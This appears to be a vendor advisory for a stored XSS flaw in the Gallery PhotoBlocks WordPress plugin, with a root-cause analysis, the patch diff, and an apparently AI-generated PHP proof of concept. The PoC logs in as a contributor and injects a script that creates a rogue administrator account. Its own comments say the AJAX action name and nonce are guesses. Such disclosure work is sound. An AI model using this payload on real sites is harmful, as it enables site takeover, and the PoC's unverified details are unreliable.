Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24389: Gallery PhotoBlocks <= 1.3.2 – Authenticated (Contributor+) Stored Cross-Site Scripting (photoblocks-grid-gallery)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.3.2
Patched Version 1.3.3
Disclosed January 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24389:
The Gallery PhotoBlocks WordPress plugin, versions up to and including 1.3.2, contains an authenticated stored cross-site scripting (XSS) vulnerability. The flaw allows users with contributor-level permissions or higher to inject arbitrary JavaScript into gallery configurations. This script executes in the context of any user viewing the affected gallery on the front end, representing a medium-severity risk.

Root Cause:
The vulnerability stems from insufficient input sanitization and output escaping in three specific areas. The `class-photoblock.php` file’s `get_alt()` method (lines 130-138) returns the `image->alt` property and the `get_title()` method’s result without escaping. The `class-photoblocks-settings.php` file’s `setup_fields()` method (lines 1047-1089) unconditionally registers three custom event fields (`custom_event_before`, `custom_event_refresh`, `custom_event_after`) as textareas, accepting raw JavaScript. The `photoblocks-public-display.php` file (line 393) outputs the result of the `fonts_to_load()` function directly without escaping the URL.

Exploitation:
An authenticated attacker with contributor privileges can exploit this by creating or editing a gallery block. They inject malicious JavaScript payloads into the gallery’s image alt/title fields or into the three custom event fields accessible via the plugin’s settings interface. The payloads are stored in the WordPress database. When a victim visits a page containing the malicious gallery, the unsanitized JavaScript executes in their browser.

Patch Analysis:
The patch in version 1.3.3 introduces multiple layered defenses. In `class-photoblock.php`, the `get_alt()` method now wraps both the `image->alt` property and the `get_title()` return value in `esc_attr()`. In `class-photoblocks-settings.php`, the registration of the three custom event fields is now wrapped in a `current_user_can(‘unfiltered_html’)` check, hiding them from users without that capability. The `setup_fields()` method is also changed from private to public and hooked to `admin_init`. In `class-photoblocks-admin.php`, a check strips the custom event fields from the update data array if the user lacks the `unfiltered_html` capability. Finally, `photoblocks-public-display.php` now escapes the output of `fonts_to_load()` with `esc_url()`.

Impact:
Successful exploitation leads to stored XSS. An attacker can perform actions within the victim’s WordPress session, such as creating new administrative users, modifying posts, injecting backdoors, or redirecting users to malicious sites. The attacker must have at least contributor-level access, but this is a low barrier on many sites. The vulnerability directly compromises site integrity and user security.

Differential between vulnerable and patched code

Code Diff
--- a/photoblocks-grid-gallery/admin/class-photoblocks-admin.php
+++ b/photoblocks-grid-gallery/admin/class-photoblocks-admin.php
@@ -208,6 +208,11 @@
                 'success' => false,
                 'id'      => $id,
             );
+            if ( !current_user_can( 'unfiltered_html' ) ) {
+                unset($data['custom_event_before']);
+                unset($data['custom_event_refresh']);
+                unset($data['custom_event_after']);
+            }
             $wpdb->show_errors = true;
             if ( $id > 0 ) {
                 $r['success'] = $wpdb->update( $wpdb->photoblocks, array(
--- a/photoblocks-grid-gallery/includes/class-photoblock.php
+++ b/photoblocks-grid-gallery/includes/class-photoblock.php
@@ -130,10 +130,10 @@

 	public function get_alt() {
 		if ( isset( $this->image->alt ) && ! empty( $this->image->alt ) ) {
-			return $this->image->alt;
+			return esc_attr( $this->image->alt );
 		}

-		return $this->get_title();
+		return  esc_attr( $this->get_title() );
 	}

 	public function get_title( $fallback_description = true ) {
--- a/photoblocks-grid-gallery/includes/class-photoblocks-settings.php
+++ b/photoblocks-grid-gallery/includes/class-photoblocks-settings.php
@@ -13,7 +13,7 @@
     public $fields;

     public function __construct() {
-        $this->setup_fields();
+        add_action( 'admin_init', array($this, 'setup_fields') );
     }

     /**
@@ -198,7 +198,7 @@
      *
      * @since    1.0.0
      */
-    private function setup_fields() {
+    public function setup_fields() {
         $this->fields = array();
         $this->fields['gallery'] = array();
         $this->fields['lightbox'] = array();
@@ -1047,39 +1047,41 @@
             'help_custom_css',
             array()
         );
-        $this->add_field(
-            'customisations',
-            esc_html__( 'General', 'photoblocks' ),
-            esc_html__( 'Event: before gallery', 'photoblocks' ),
-            'custom_event_before',
-            'textarea',
-            array(
-                'description' => esc_html__( 'JavaScript code to run before the plugin starts building the gallery. Write CSS code without <script></script> tags.', 'photoblocks' ),
-                'default'     => '',
-            )
-        );
-        $this->add_field(
-            'customisations',
-            esc_html__( 'General', 'photoblocks' ),
-            esc_html__( 'Event: refreshed gallery', 'photoblocks' ),
-            'custom_event_refresh',
-            'textarea',
-            array(
-                'description' => wp_kses_post( __( 'JavaScript code to run after the plugin refreshed the gallery. Write CSS code without <script></script> tags.', 'photoblocks' ) ),
-                'default'     => '',
-            )
-        );
-        $this->add_field(
-            'customisations',
-            esc_html__( 'General', 'photoblocks' ),
-            esc_html__( 'Event: after gallery', 'photoblocks' ),
-            'custom_event_after',
-            'textarea',
-            array(
-                'description' => wp_kses_post( __( 'JavaScript code to run after the plugin complete building the gallery. Write CSS code without <script></script> tags.', 'photoblocks' ) ),
-                'default'     => '',
-            )
-        );
+        if ( current_user_can( 'unfiltered_html' ) ) {
+            $this->add_field(
+                'customisations',
+                esc_html__( 'General', 'photoblocks' ),
+                esc_html__( 'Event: before gallery', 'photoblocks' ),
+                'custom_event_before',
+                'textarea',
+                array(
+                    'description' => esc_html__( 'JavaScript code to run before the plugin starts building the gallery. Write CSS code without <script></script> tags.', 'photoblocks' ),
+                    'default'     => '',
+                )
+            );
+            $this->add_field(
+                'customisations',
+                esc_html__( 'General', 'photoblocks' ),
+                esc_html__( 'Event: refreshed gallery', 'photoblocks' ),
+                'custom_event_refresh',
+                'textarea',
+                array(
+                    'description' => wp_kses_post( __( 'JavaScript code to run after the plugin refreshed the gallery. Write CSS code without <script></script> tags.', 'photoblocks' ) ),
+                    'default'     => '',
+                )
+            );
+            $this->add_field(
+                'customisations',
+                esc_html__( 'General', 'photoblocks' ),
+                esc_html__( 'Event: after gallery', 'photoblocks' ),
+                'custom_event_after',
+                'textarea',
+                array(
+                    'description' => wp_kses_post( __( 'JavaScript code to run after the plugin complete building the gallery. Write CSS code without <script></script> tags.', 'photoblocks' ) ),
+                    'default'     => '',
+                )
+            );
+        }
         /*$this->add_field("customisations", "General", "Filter for blocks", "custom_blocks_filter", "textarea", array(
         			"description" => "",
         			"default" => "",
--- a/photoblocks-grid-gallery/photoblocks.php
+++ b/photoblocks-grid-gallery/photoblocks.php
@@ -4,7 +4,7 @@
  * Plugin Name:              Gallery PhotoBlocks
  * Plugin URI:               https://photoblocks.io/
  * Description:              Build your unique photo gallery
- * Version:                  1.3.2
+ * Version:                  1.3.3
  * Author:                   WPChill
  * Author URI:               https://wpchill.com
  * Requires:                 5.2 or higher
@@ -15,7 +15,7 @@
  * Domain Path:             /languages
  * Tested up to: 6.9
  * Requires PHP: 5.6
- * Stable tag: 1.3.2
+ * Stable tag: 1.3.3
  * Copyright 2018-2019       GreenTreeLabs     diego@greentreelabs.net
  * Copyright 2019-2020       MachoThemes       office@machothemes.com
  * SVN commit with proof of ownership transfer: https://plugins.trac.wordpress.org/changeset/2163480/photoblocks-grid-gallery
@@ -33,7 +33,7 @@
 if ( !function_exists( 'photoblocks_starter' ) ) {
     function photoblocks_starter() {
         if ( !defined( 'PHOTOBLOCKS_V' ) ) {
-            define( 'PHOTOBLOCKS_V', '1.3.2' );
+            define( 'PHOTOBLOCKS_V', '1.3.3' );
         }
         // If this file is called directly, abort.
         if ( !defined( 'WPINC' ) ) {
--- a/photoblocks-grid-gallery/public/partials/photoblocks-public-display.php
+++ b/photoblocks-grid-gallery/public/partials/photoblocks-public-display.php
@@ -393,7 +393,7 @@
     link.type = "text/css";
     link.rel = "stylesheet";
     link.href = "<?php
-    echo $this->fonts_to_load( $data_id );
+    echo esc_url( $this->fonts_to_load( $data_id ) );
     ?>";

     head.appendChild(link);

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24389 - Gallery PhotoBlocks <= 1.3.2 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php

$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload to inject into a gallery's custom event field or alt text.
// This payload creates an administrative user when executed by an admin viewing the gallery.
$xss_payload = '<script>fetch("'. $target_url .'/wp-admin/user-new.php", {method: "POST", credentials: "include", body: new URLSearchParams({"action": "createuser", "_wpnonce_create-user": "[NONCE_PLACEHOLDER]", "user_login": "attacker_admin", "email": "attacker@example.com", "pass1": "StrongPass123!", "pass2": "StrongPass123!", "role": "administrator", "send_user_notification": "0"})});</script>';

// Step 1: Authenticate to WordPress to obtain cookies and nonce.
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

// Step 2: Visit the PhotoBlocks gallery creation page to get a nonce.
// The nonce is typically found in a script tag or a data attribute.
// This PoC assumes we are targeting the 'custom_event_before' field via the plugin's settings/update mechanism.
// The actual AJAX action for saving a gallery needs to be identified.
// For demonstration, we show the structure of a malicious update request.

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
    'action' => 'photoblocks_save', // This action name needs verification from the plugin code.
    'id' => '1', // Target gallery ID.
    'custom_event_before' => $xss_payload,
    'custom_event_refresh' => '',
    'custom_event_after' => '',
    // Other required gallery fields would go here.
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
$ajax_response = curl_exec($ch);

curl_close($ch);

echo "Payload injection attempted. Check response:n";
echo $ajax_response;

// Note: A full PoC requires reverse-engineering the plugin's exact AJAX save handler
// and obtaining the correct nonce from the admin interface. This script outlines the attack vector.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School